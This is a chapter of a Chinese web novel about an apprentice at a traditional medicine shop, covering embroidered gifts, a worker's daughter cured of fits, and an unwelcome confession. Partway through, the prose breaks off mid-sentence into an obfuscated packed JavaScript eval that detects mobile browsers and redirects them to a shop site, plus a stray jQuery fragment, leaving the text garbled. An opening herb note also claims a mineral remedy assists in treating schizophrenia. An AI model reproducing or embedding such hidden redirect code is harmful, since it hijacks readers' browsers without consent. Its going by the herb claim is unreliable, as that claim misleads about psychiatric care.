12. 送人

作品:《长亭·终不晚

    【本文所提及的单味药、中成药、方剂皆不做疾病参考,若有不适,请及时线下就医,切勿拖延!下方药材注解为百度百科,请勿自行食用!】


    礞石:味甘、咸,性平。可消痰下气,平肝镇惊,治疗老痰胶结的气喘(可以辅助治疗精分)


    席尧服了气了,大过年的这些人怎么就不安生呢,她一边上药,一边在心里感慨。


    开年后到十五这一段日子仁医馆每日开半天,由几个大夫轮换坐馆,其余伙计也轮着上工,今天轮到席尧跟着李大夫坐诊,遇上了一个醉酒打架浑身是伤的。


    “挺不错,比上次有进步。”送走伤患,李大夫转头对席尧投去肯定的眼神。


    席尧绞着手指不想说话。


    年前的时候有一天也是李大夫坐馆,也是遇见一个浑身是血的人被抬进来上药,当时席尧碰都不敢碰的样子惹得李大夫好一阵叹息。


    其实她不是不敢碰,只是不知道怎么下手,晓晓说「血是人体最脏的部分,千万不能摸别人的血」,她当时手上还有新划的伤口,所以真有点束手束脚。


    关门以后,席尧回屋接着把绣活拿出来做。


    她从吴薇那得知了自己来仁医馆的原因,想着做点什么,年后买了东西给李大夫送去,却都被退了回来,李大夫说让她先顾好自个。


    前几天席尧看了绣坊小姐妹的来信,想起吴薇说过喜欢她的手帕,就想着给吴薇绣一条,还可以再绣一条给李大夫……的夫人,送李大夫手帕不太妥当,但是送给他夫人就很不错了,哪个女人不喜欢漂亮的东西,席尧觉得自己的绣工还是很能拿出手的。


    吴薇收到帕子的时候果然很开心,一个劲夸席尧手艺好。


    “这真是你自己绣的?”吴薇捧着手帕来回看,又摸摸绣线,“怎么这么好看,比你那条还好看!你有这手艺怎么不去当绣娘啊!”


    她没注意到席尧的脸色变化,仍旧喋喋不休:“我可没有胡乱夸你,你这帕子都能比得上春彩阁那些绣品了,他们坊里卖得可贵。”


    春彩阁是荣城有名的绣品铺子。


    吴薇犹不满足,道:“我说真的,你要是去春彩阁做绣娘可比在这做学徒挣得多多了,起码翻一倍。对了,你还没去过那吧?改天空了我带你去。”


    “别改天了,明天就带我就去吧,然后留你自个在这做。”


    吴薇一想又只剩下她和张如玉,顿时不太情愿,“那不行!”


    虽然张如玉定亲以后和她们的关系有所缓解,但这个缓解也就仅限于张如玉没再找茬,现在三人算是各自分工,相安无事。


    “不过其实做绣娘也挺好的,攒钱快,我要不是静不下心也想去精进手艺做绣娘,攒一大笔嫁妆,成亲以后看谁敢给我气受!”吴薇又碎碎念起来。


    “你被家里催魔怔了?这话像我‘老伯’说的。”


    “老伯?”


    “我爹。”


    吴薇扑上去一顿乱锤,席尧扭不过她,哈哈大笑起来。


    闹过以后吴薇想起什么,道:“你说这个倒让我想起一个真魔怔的,厨房的六婶,她女儿不知道怎么了,年后就好一阵坏一阵的。”


    “好的时候就没事人似的,发作的时候就自言自语,不知道她在说什么,谁问都不答应,说话声大了还直哭。”吴薇解释,又道:“有人跟六婶说是犯了邪祟,她最近忙着找靠谱的道士驱邪呢!”


    席尧想到一种可能,“不然找李大夫看看吧?”


    吴薇一脸“你也有病”的表情,“李伯又不是道士,他哪能看这个!”


    这还真不一定。


    「百病多有痰未除,怪病多由痰作祟」


    晓晓就说过类似的例子。


    *


    十一月的晚风已不止微凉,还夹着初冬的寒意,而且天黑得早,吃过饭没多久就黑尽了,席尧牵马进院,决定明天开始就不去练马了,而且她觉得李大夫的习惯她已经了解得差不多了。


    席尧随即把意思跟落后几步的余可成说了,之前他说要换她跟着李大夫,所以近期都跟着她出门练马,顺便跟她说些事宜。


    余可成轻轻应了一声。


    刚走到马厩,席尧就看见余自成站在那,她随意打了个招呼,顾自去棚里绑马。


    余可成也看见了自家弟弟,牵马走近道:“你大晚上的站在这干嘛?”


    余自成没理会哥哥,转头盯着席尧,声音很是气急败坏:“你天天跟着我哥出去跑马,为什么转头又跟曾管事凑在一起,你是不是想脚踏两条船!”


    席尧被这有力的一嗓子问懵了,这说的哪跟哪?都是作请教,还有不能同时问两个人的说法?


    余自成看她愣神,又道:“我哥对你这么好,你怎么忍心这样对他!”


    席尧笑了,绑好马绳倾身靠在柱子上,“这两件事有什么关联吗?”


    “当然有,你别说你看不出来我哥喜欢你!”


    席尧收了笑,偏开目光去看余可成。


    余可成面色窘迫,双眼闪烁避开她的目光。


    别说,之前真没看出来,她一直以为余可成是想在走之前把李大夫的事情好好交代出去,有始有终,毕竟像他这种店里公认的老好人肯定不忍心接班的是个什么也不知道的糊涂鬼,那李大夫得多糟心。


    “反正看没看出来你现在也知道了,以后就别和曾管事走那么近了!”余自成不满对面的人不说话。


    席尧看也不看他,只盯着余可成。


    余可成垂着头一言不发。


    席尧忽然就明白了,她懂,没有谁规定老好人就必须为别人着想,他既然有自己的想法,那她尊重。


    但不奉陪。


    席尧越过二人径直离开。


    余可成拉住走过身边的人的手,“我……”


    席尧挣开,沉声道:“我不是那种为了报答别人可以以身相许的人。”说罢头也不回的离开。


    马厩前静得能听见冷风打转的声音。


    棚里的燥臭被风吹开,飘到仍留在这的两人鼻尖。


    余自成抬手扇了扇,看着一言不发的余可成,道:“哥,你也别太灰心,虽然不知道她的应对怎么和我想得不太一样,但是她回去多想想肯定就知道不妥了。”


    他原本想着说清楚了好过让她装傻,反正她听了要么羞要么气,之后都有解决的办法,谁知道她两边都不沾!


    余可成默然地把马绳递过去示意弟弟栓好,他心中五味杂陈。


    年节在即,过了年他就要跟王管事出门了,本来也在想怎么跟席尧挑破,今天


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978322|193549||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这一出出乎他意料,但他想着被弟弟捅明白了也好,席尧跟曾管事走得太近他心里也不踏实。


    曾管事惯常待人温和,特别是女子,虽说那样的家世人品绝不会娶席尧,但他就怕她像张如玉似的一头扎进去。


    但经过今晚,她应该慢慢就会想明白谁才是真正可以依靠的。


    余可成坚信。


    所以那夜以后,席尧再没跟他说过话,甚至避而不见是他从来没有想到的。


    “薇薇,你能不能帮我跟晓晓说一声,我这就走了……”


    十五已过,余可成就要跟着王管事外出采买药材了,他本以为今天早上六婶煎麦饼给他们送行席尧也会来,结果直到吃完了也没见到人,他只好托在擦柜台的吴薇带个话。


    吴薇冷着脸,“她忙着呢,再说店里谁不知道你要走了。”看他还要说话,她把帕子一收,道:“我也忙,你慢走不送。”


    吴薇把帕子往盆里一扔,端着盆走了。


    当她不知道呢!


    那天晚上她就在院外听着,要不是席尧出来看见她并把她拽走了,她肯定要冲进去狠狠给余可成一巴掌。


    这些话是什么意思,逼迫么!吴薇恨恨,幸好席尧不是那种被说两句就羞得满面通红的柔弱女子。


    她之前怎么没看出来余可成是这种人,由着自己弟弟一句接一句,他倒在旁边一声不吭,怎么,自己想要的自己不争取,想别人递到手上是吧!


    懦弱,自私!


    吴薇看不上陈茂为了张如玉的做派,但更觉得余自成的做法不可取。


    ——


    席尧是挺忙,忙着在厨房啃麦饼,六婶一个劲劝她多吃点,还去捞出一碗泡菜,“姑娘也太瘦了,平时就看你吃得少!”


    席尧夹着菜很是不好意思,她今天起晚了,还以为赶不上六婶煎的饼,谁想到六婶特意留着等她。


    “有什么不好意思的,要不是你让我去找李大夫我女儿怕是还疯着呢,婶可谢谢你了,说你救她一命都不为过,她要是疯了以后可怎么办呀,我们走了谁来管她……”


    六婶说着伤心起来,不住拿袖子揩脸。


    席尧不善于安慰人,看这架势也不知道该说什么,但又不能什么都不做,只好说几句通用的安慰话,末了又道:“婶子,你看老话说得好,儿孙自有儿孙福,没有儿孙我享福……你女儿能好说明她的福气在后头呢!”


    她懊悔地一拐话头,怎么不小心把晓晓的后半句说出来了。


    六婶抹泪的手一顿,这老话说得是好,只是有后面这句吗?


    门外曾源听得差点失声笑出来,拿着册子赶紧转身,没想到出了院子看见迎面过来的张如玉。


    这是那天以后张如玉第一次见到曾源。


    以前她总觉得曾源待她是不同的,直到席晓来了,不过她还是安慰自己是因为他为人温和的缘故。


    可是那天,他明明白白地把话说出口,她才恍然,是她执迷不悟,既知他为人,又为什么觉得他待她与众不同。


    所以此时的张如玉不知道该摆出什么表情来面对曾源,只好慌乱地离开。


    曾源何尝不是,只是这会张如玉的离开让他深觉还是明白拒绝更好,省得揣着明白装糊涂心累——她要是早些说出来就好了。